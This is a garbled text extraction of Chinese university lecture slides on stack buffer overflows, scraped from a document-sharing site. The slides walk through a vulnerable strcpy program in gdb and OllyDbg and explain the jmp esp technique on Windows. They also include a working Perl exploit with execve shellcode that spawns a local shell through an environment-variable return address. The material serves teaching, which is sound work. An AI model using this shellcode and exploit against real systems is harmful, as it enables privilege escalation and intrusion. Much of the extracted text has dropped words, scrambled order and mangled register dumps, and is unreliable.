讲义教案网络安全ns_第1页
讲义教案网络安全ns_第2页
讲义教案网络安全ns_第3页
讲义教案网络安全ns_第4页
讲义教案网络安全ns_第5页
已阅读5页,还剩66页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、安全(CS05154)第5讲 缓冲区溢出中国科学技术大学曾凡平主要内容缓冲区溢出历史1.Linux x86平台缓冲区溢出利用技术1.2.3.Linux的内存管理缓冲区溢出的流程缓冲区溢出的技术2.Win32平台缓冲区溢出利用技术1.2.3.Win32平台缓冲区溢出的流程跳转地址缓冲区溢出演示(参考渗透技术)2缓冲区溢出5.1 缓冲区溢出历史早在20世纪80年代初,国外就有人开始讨论溢出。1988年的Morris蠕虫,利用的之一就是fingerd的缓冲区溢出。虽然这次蠕虫导致6 000多台被,损失在$100 000(10万)至$10 000 000(1千万)之间,但是缓冲区溢出的重视。并没有得到

2、人们3缓冲区溢出溢出历史2, Spafiord提交了一份关于运行在VAX机上的BSD版UNIX的fingerd的缓冲区溢出程序的技术细节的分析报告,从而引起了一部分安全对这个研究领域的重视。但毕竟仅有少数人从事研究工作,对于公众而言,没有太多具有学术价值的可用资料。另外,来自Lopht heavy Industries的Mudge写了一篇如何利用BSDI上的libc/syslog缓冲区溢出漏洞的文章。4缓冲区溢出溢出历史3真正有教育意义的第一篇文章诞生在1996年,Aleph One在Phrack杂志第49期的(Smashing The Stack For Fun And Profit ) 详

3、细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。Aleph One的贡献还在于给出了如何写执行一个Shell的Exploit的,并给这段代码赋予Shellcode的名称。这个称呼沿用至今。5缓冲区溢出溢出历史4编写Shellcode:编译一段使用系统调用的简单的c程序,通过调试器抽取汇编代码,并根据需要修改这段汇编代码。Aleph One所给出的代码可以在x86/Linux,Sparc/Solaris和Sparc/SunOS系统上正确地运行。6缓冲区溢出溢出历史5受到Aleph One的文章的启发,在Internet上出现了大量的文章讲述如何利用缓冲区溢出,以及如何写一段所需的E

4、xploit。 1997年,Smith综合以前的文章,提供了如何在各种UNIX变种中写缓冲区溢出Exploit的更详细的指导原则。7缓冲区溢出溢出历史6Smith还收集了各种处理器体系结构下的Shellcode,Aleph One公布的和AIX和HPUX的。他在文章中还谈到了*nix操作系统的一些安全属性,例如,SUID程序、Linux栈结构和功能等,并对安全编程进行了讨论,还附带了一些有的函数的列表,并告诉人们如何用一些相对更安全的代码 (包裹函数) 替代它们。8缓冲区溢出溢出历史7Windows下的地址跳转1998年来自“Cult of the Dead Cow”的Dildog,在Bugt

5、rq邮件列表中以MicrosoftNetmeeting为例子,详细地了如何利用Windows的溢出技术。这篇文章最大的贡献在于提出了利用栈指针的来完成跳转,返回地址固定地指向地址,不论是在出的还是在动态库中,该固定地址包含了用来利用栈指针完成跳转的汇编指令。缓冲区溢出9溢出历史8DLL中的指令来完成避免了由于进程线程的区使用系统Dildog提供的别而造成栈位置不固定。Dildog还有另外一篇经典之作The Tao of Windows Buffer Overflows。集大成者是Dark Spyrit,在1999年杂志第55期上提出使用系统DLL中的指令来完的想法,将Windows下的溢出成E

6、xploit推进了实质性的一步。10缓冲区溢出溢出历史9David Litchfield在1999年为Windows NT平台创建了一个简单的Shellcode。他详细讨论了Windows NT的进程内存和栈结构,以及基于栈的缓冲区溢出,并以rasman.exe作为研究的实例,给出了提升权限创建一个本地Shell的汇编代码。11缓冲区溢出溢出历史10基于堆的缓冲区溢出1999年w00w00安全小组的Matt Conover写了基,开头写道:“基于于堆的缓冲区溢出的Heap/BSS的溢出在普遍,但很少有被的应用已经相当”。他注意到当时的保护方法,例如非执行栈,不能防止基于堆的溢出,并给出了大量的

7、例子。缓冲区溢出者主要的技术技术已经相当成熟,是渗透测试。12缓冲区溢出5.2 Linux x86平台缓冲区溢出利用技术1996年,Aleph One在Phrack杂志第49期的“Smashing the Stack for Fun andProfit”是缓冲区溢出的经典之作,该文详细地法。了缓冲区溢出产生的原理和利用方Linux操作系统基于Intel这一节主要x86 CPU的溢出技术。13缓冲区溢出5.2.1 Linux的内存管理x86是一款CISC(复杂指令集计算),由于Intel的的CPU。,它成为使用最广泛32位的x86称为IA32。Linux IA32系统的进内存中的结构如下图所示。

8、14缓冲区溢出如何看内存分布?程序示例15缓冲区溢出图1 linux IA32 进内存中的结构16缓冲区溢出三种数据段有三种数据段:.text、.bss 、.data。 .text(文本区),任何尝试对该区的写操作会导致段违法出错。文本区存放了程序的代码, main函数和其他子函数。 .bss和.data都是可写的。它们保存全局变量,.data段包含已初始化的静态变量,而.bss包含未初始化的数据。17缓冲区溢出栈堆栈是一个后进先出(LIFO)数据结构,往低地址增长,它保存本地变量、函数调用等信息。随着函数调用层数的增加,栈帧是一块块地向内存低地址方向延伸的,随着进程中函数调用层数的减少,即各

9、函数的返回,栈帧会一块块地被遗弃而向内存的向回缩。各函数的栈帧大小随着函数的性质的不同而不等。18缓冲区溢出堆堆的数据结构和栈不同,它是先进先出(FIFO)的数据结构,往高地址增长,主要用来保存程序信息和动态分配的变量。堆是通过malloc和free等内存操作函数分配和的。19缓冲区溢出栈帧的信息函数调用时所建立的栈帧包含了下面的信息:函数的返回地址。IA32的返回地址都是存放在被调用函数的栈帧里。调用函数的栈帧信息,即栈顶和栈底。为函数的局部变量分配的空间。为被调用函数的参数分配的空间。20缓冲区溢出5.2.2 缓冲区溢出的流程由于函数里局部变量的内存分配是发生在栈帧里的,所以如果在某一个函

10、数里定义了缓冲区变量,则这个缓冲区变量所占用的内存空间是在该 函数被调用时所建立的栈帧里。由于对缓冲区的潜在操作(比如字串的)都是的,而内存中所保存的函数调从内存低址到用返回地址往往就在该缓冲区的上方(高地址)这是由于栈的特性决定的,这就为覆盖函数的返回地址提供了条件。21缓冲区溢出溢出的流程(2)当我们有机会用大于目标缓冲区大小的内容来向缓冲区进行填充时,就可以改写函数保函数栈帧中的返回地址,从而使程序的执行流程随着我们的意图而转移。这是冯·诺依曼计算机体系结构的缺陷。22缓冲区溢出IA32构架缓冲区溢出的实例#include <stdio.h> #include &l

11、t;string.h> char largebuff ="int main (void)char smallbuff16;4512345=ABCD"strcpy (smallbuff, largebuff);23缓冲区溢出准备程序:Linux 下的程序编译注意:用不同版本的gcc编译,上面largebuff需要的长度可能会有所不同。这是因为在x86的CPU 上,新旧gcc在对齐处理上实现不同,现在版本的gcc默认保持16字节栈对齐,而且堆栈的局部变量的分配也是默认以16字节对齐。如下的两个gcc编译参数可以改变编译器对堆栈的处理情况:-mprefered-stack-

12、boundary=n希望栈按2的n次的字节边界对齐-fomit-frame-pointer编译生成的代码不要STP(栈框架)用标准参数编译C程序 gcc o simple_overflow simple_overflow.c24缓冲区溢出在gdb调试环境中执行程序$ gdb simple_overflow(gdb) r Starting program:/home/zengfp/ns/simple_overflow Program received signal SIGSEGV,Segmentation fault. 0x44434241 in ? ()25缓冲区溢出发生段错误时的寄存器值在g

13、db里的执行结果是eip 已 经 被 改 为0x44434241 ,正好是ABCD倒过来,这是由于 IA32 默 认 字 节 序little_endian。(gdb) i reg eaxecx edx ebx esp ebp0xbfffe620 0xb7fb51ff 0x80494410x42130a140xbfffe640 0x3d3d3d35-1073748448-120826624113451782511085440200xbfffe640 0x3d3d3d35 10738287041345135360x44434241esi edi eip eflags csss ds es fs g

14、s0x400153600x80483800x444342410x210282 2163330接下来用gdb反汇编跟踪程序,看看eip为什变为0x44434241。0x230x2b 0x2b 0x2b 0x0 0x333543434305126缓冲区溢出反汇编主函数main(gdb) disas mainDump of assembler code for function main:0x08048328 <main+0>:0x08048329 <main+1>:0x0804832b <main+3>: 0x0804832e <main+6>: 0

15、x08048331 <main+9>:0x08048336 <main+14>:0x08048338 <main+16>: 0x0804833b <main+19>:push mov sub and mov sub sub push%ebp%esp,%ebp$0x18,%esp$0xfffffff0,%esp$0x0,%eax%eax,%esp$0x8,%esp$0x804942027缓冲区溢出反汇编主函数main0x08048340 <main+24>:0x08048343 <main+27>:0x08048344 &l

16、t;main+28>:0x08048349 <main+33>: 0x0804834c <main+36>: 0x0804834d <main+37>: 0x0804834e <main+38>: 0x0804834f <main+39>: End of assembler dump.lea push calladd0xffffffe8(%ebp),%eax%eax0x8048268 <strcpy>$0x10,%espleave ret nopnop28缓冲区溢出设置断点执行程序,查看执行后的寄存器的值在函数的和感

17、的位置设置断点。(gdb) b *(main+0)Breakpoint 1 at 0x8048328(gdb) b *(main+28)Breakpoint 2 at 0x8048344(gdb) r/在主函数的下断点/在strcpy函数下断点Starting program:/home/fpzeng/npt/ch02/2x2/simple_overflowBreakpoint 1, 0x08048328 in main ()29缓冲区溢出(gdb) i reg eaxecx edx ebx0x110x42015554 0x40016bc8 0x42130a141107383636107383

18、495211085440200xbffff63c0xbffff658 10738287041345135360x8048328esp 0xbffff63cebp esi edi eip eflags0xbffff658 0x400153600x80483800x80483280x200246 2097734注意:寄存器的值随系统的运行状态而略有不同缓冲区溢出30如何查看main函数的返回地址?(gdb) x/x $esp0x42015574(main函数的返回地址)0xbffff63c:(gdb) x/2i 0x42015574-30x42015571 :0x42015574 :call*0x

19、8(%ebp)mov%eax,%ecx(gdb) x/x $ebp+80xbffff660: 0x08048328(main函数的第1条语句)可以看到,在main函数的最开始设置断点执行后的esp指向的内容就是main函数的返回地址。我们的目标就是覆盖这个地址,这样在main函数返回的时候转入我们的流程。31缓冲区溢出gdb里单步指令执行,看程序的执行流程(gdb) display/i $pc1: x/i $pc 0x8048328 <main>: (gdb) si0x08048329 in main ()push%ebp1: x/i $pc 0x8048329 <main+

20、1>: mov (gdb)0x0804832b in main ()1: x/i $pc 0x804832b <main+3>: sub (gdb)0x0804832e in main ()1: x/i $pc 0x804832e <main+6>: and (gdb)0x08048331 in main ()1: x/i $pc 0x8048331 <main+9>: mov%esp,%ebp$0x18,%esp$0xfffffff0,%esp$0x0,%eax32缓冲区溢出(gdb)0x08048336 in main ()1: x/i $pc0x

21、8048336 <main+14>:sub%eax,%esp(gdb)0x08048338 in main ()1: x/i $pc (gdb)0x8048338 <main+16>:sub$0x8,%esp0x0804833b in main ()1: x/i $pc0x804833b <main+19>:push$0x8049420(gdb)33缓冲区溢出gcc默认保持16字节栈对齐gcc在编译程序的时候,分配了0x18+0x8的空 间,这远远大于smallbuff变量16字节的大小。这个前面已经讨论过了,是gcc默认保持16字节栈对齐导致的。(gdb)

22、 si0x08048340 in main (): (gdb)0x08048343 in main () : (gdb)0x08048344 in main ():lea0xffffffe8(%ebp),%eaxpush%eaxcall0x8048268 <strcpy>34缓冲区溢出查看strcpy的参数继续单步指令执行,“call 0x804834c”指令实际就是调用strcpy函数,看看它push的两个参数:(gdb) i reg espesp0xbffff2900xbffff290(gdb) x/x 0xbffff2900xbffff290:0xbffff2a0(small

23、buff的地址)(gdb) x/x 0xbffff290+40xbffff294:0x08049420 (largebuff的地址)(gdb) x/s 0x080494200x8049420 <largebuff>:"4512345=ABCD"35缓冲区溢出实际演示压栈的第一个参数是largebuff的地址,第二个是smallbuff的地址,gcc给它分配的大小是0xbffff2bc-0xbffff2a0=0x1c,所以需要28个字节才能正好覆盖返回地址。执行strcpy后,0xbffff2bc已经被覆盖成0x44434241。继续执行单步指令到main函数返回

24、,最后的ret指 令让eip等于esp指向的内容,并且 esp等于esp+4。这时eip已经变为可以的地址了,也就是说我们可以程序的流程。36缓冲区溢出调试重点1.在3个地方设置断点第一条汇编语句:在此记下函数的返回地址(A=esp的值) (会动态变化)调用strcpy对应的汇编语句:记下smallbuf的起始地址=B (会动态变化),与A相减可以得到产生缓冲区溢出所需的字节数=A-Bret语句:查看esp的内容,被修改的返回地址(演示)2.3.37缓冲区溢出5.2.3 缓冲区溢出的技术串之1缓冲区溢出的基本原理是在函数返回的时候eip,从而执行 Shellcode,达到的目的。上面这种She

25、llcode。一般用于被溢出的缓冲区比较大,足以容纳38缓冲区溢出构造串2串之2一般用于被溢出的变量比较小,不足以容纳上面这种shellcode。但是这两种shellcode的地址都没法准确的定位,传统的是通过调试技术获得esp的值大概取值范围, 然后加上偏移和在Shellcode前面加上大量nop指令(0x90)来确保返回地 址落入shellcode。缓冲区溢出39串之3构造把shellcode放在环境变量里对于本地溢出,还有一种更好的办法可以更精确定位shellcode地址。把shellcode放在环境变量里:这种40缓冲区溢出演示:环境变量在堆栈中的位置 gdb simple_overf

26、low b *(main) x/20x 0xbffffffc栈顶位置0xbffffffc:0x00000000 Cannot access memory at0xc0000000 x/20s 0xbffffb00 (探测环境变量的起始位置) 由此可见,Linux系统的环境变量占的空间是很大的,一般在1K以上,足于容纳shellcode。41缓冲区溢出把shellcode放在环境变量确定返回地址用0xbffffffc减去程序路径#include <stdio.h> #include <string.h>int main (int argc, char*argv)char

27、vulnbuff16;strcpy (vulnbuff, argv1); printf ("n%sn", vulnbuff); getchar(); /* for debug */长度和后面的结束符0以及shellcode长度和后面的结束符0就可以精确得到shellcode开始的地址。关键在于把shellcode放到环境变量中。有了这些信息,那么就很容易写出缓冲区溢出漏洞的,比如一个漏洞程序如下:42缓冲区溢出#!/usr/bin/perl$shellcode = "x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69". &q

28、uot;x89xe3x52x53x89xe1x8dx42x0bxcdx80"#修改以下代码行$path="/home/zengfp/ns/vulnerable"$ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);$new_retword = pack('l', $ret);printf("+ Using ret shellcode 0x%xn",$ret);%ENV=(); $ENVCC=$shellcode; exec "$path"

29、, $new_retword x 8;43缓冲区溢出获得本地 shell (演示)输入perl exploit.pl则可以得到一个本地shellsh-2.05b$在另一个terminal输入 ps ax|grep vulnerable gdb vulnerable 11209(进程ID号)44缓冲区溢出确定返回地址的要点对于1、2两种串,应该在shellcode之前加上大量的NOP,通过调试后猜测ret的值。,将shellcode放在环境变量对于本地中:$ret = 0xbffffffc - (length($path)+1)- (length($shellcode)+1);45缓冲区溢出5.

30、3 Win32平台缓冲区溢出利用技术5.3.1 Win32平台缓冲区溢出的流程同样用上节Linux平台用过的溢出演示程序:编译程序(VC6.0) cl simple_overflow.cLargebuff 字符串变量的长度比Linux下的要短, 这是因为VC6编译器并不像现代版本的gcc保持16 字节栈对齐,而是按照实际长度4字节对齐。46缓冲区溢出#include <stdio.h> #include <string.h> char largebuff ="1234512345123456=ABCD"int main (void)char smal

31、lbuff16;strcpy (smallbuff, largebuff);47缓冲区溢出用OllyDbg调试simple_overflow在Win32平台有很多优秀的调试器, OllyDbg简单易用,强力推荐用它调试用户态的程序,这里也用它进行演示,如图所示(NextPPT)。演示:实际操作48缓冲区溢出反汇编窗口寄存器窗口堆栈窗口数据区窗口49缓冲区溢出反汇编代码分析灰色选择部分就是main函数的反汇编代码。和Linux下几乎一样,只是分配堆栈空间严格按照程序,不像gcc会多分配几个字节,但也会4字节对齐。OllyDbg的左上部分是反汇编窗口,右上部分是寄存器窗口,右下部分是堆栈窗口,左下

32、部分是数据区窗口,这个结构让人一目了然,比起LinuxUNIX下的gdb调试器直观多了。接下来了解一下Windows平台下的溢出流程。把光标放到执行strcpy的那行:50缓冲区溢出反汇编代码PUSH EBP MOV EBP,ESP SUB ESP,10PUSH simple_o.00405030ASCII "1234512345123456=ABCD" LEA EAX,DWORD PTR SS:EBP-10 PUSH EAXCALL simple_o.00401020 ;ADD ESP,8 MOV ESP,EBP POP EBP RETN00401000004010010

33、040100300401006; 0040100B0040100E0040100F0040101400401017004010190040101A51缓冲区溢出看堆栈的变化然后按F4执行到这里,这时堆栈内容如下:0012FF680012FF6C0012FF7000405030;smallbuf的地址largebuff的地址ASCII "1234512345123456=ABCD" 4000006100364988000000000012FF700012FF740012FF780012FF7C00401261 返回到 simple_o.00401261 来自simple_o.

34、004013200012FF800012FFC00012FF84004011C4返回到 simple_o.<模块点>+0B4 来自 simple_o.0040100052缓冲区溢出strcpy后的效果按F8执行strcpy操作,这时堆栈内容内容如下:0012FF680012FF6C0012FF700012FF740012FF780012FF7C0012FF800012FF840012FF70 ASCII "1234512345123456=ABCD"00405030 ASCII "1234512345123456=ABCD"343332313

35、332313532313534363534333D3D3D3D44434241;main()的返回地址被覆盖寄存器ebp的内容以及ebp+4保存的返回的地址都被覆盖了。继续按F8单步执行后面几条指令,0040101400401017004010190040101AADD ESP,8 MOV ESP,EBP POP EBP RETN53缓冲区溢出在main函数返回前,首先堆栈空间,恢复ebp寄存器,然后返回调用者函数,可是 ebp的内容以及ebp+4保存的返回的地址retn,eip就变成可以都被覆盖了,的内容,如图 (Next PPT)所示。54缓冲区溢出55缓冲区溢出溢出流程基本上是一致的Wi

36、n32平台的溢出流程和Linux x86平台的基本上是一致的。但是Windows和 Linux/Unix在内核设计、内存管理都很不一样,而且Windows下的程序特别推崇多线程,这就导致堆栈位置不固 定,所以Linux/UNIX传统的把堆栈中Shellcode所在的大致地址覆盖函数返回地址在Windows下可行性不高。的溢出56缓冲区溢出另外Windows下主线程的堆栈地址是从0x00030000(XP SP2 下是0x00040000, 2003下为0x00042000)开始的,开始的字节包含0。如果用它字符串。那么在strcpy来构造截断。的时候会被用OllyDbg加载cmd.exe,按A

37、lt+M组合键查看内存镜像。用OllyDbg加载cmd.exe,按Alt+M组合键查看内存镜像。57缓冲区溢出58缓冲区溢出Windows下的进程有很多堆栈Windows下的进程有很多堆栈区,可见Linux /UNIX的传统溢出在Windows下是不行的。1998年,cDc的Dildog在他的The Tao of Windows Buffer Overflow文章里提到了另外一种非常有创意的:从上面的溢出流程演示可以看到,ret后eip变成可的内容,这时esp指向输入字符串后面一以些,那么如果把Shellcode放到保存返回地址的后面,而把这个地址覆盖成一个包含jmp esp或callesp指令的地址,那么就实现了精确定位Shellcode。59缓冲区溢出可以从被加载的dll或其他代码页的进程空间找jmp esp指令一个进程

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论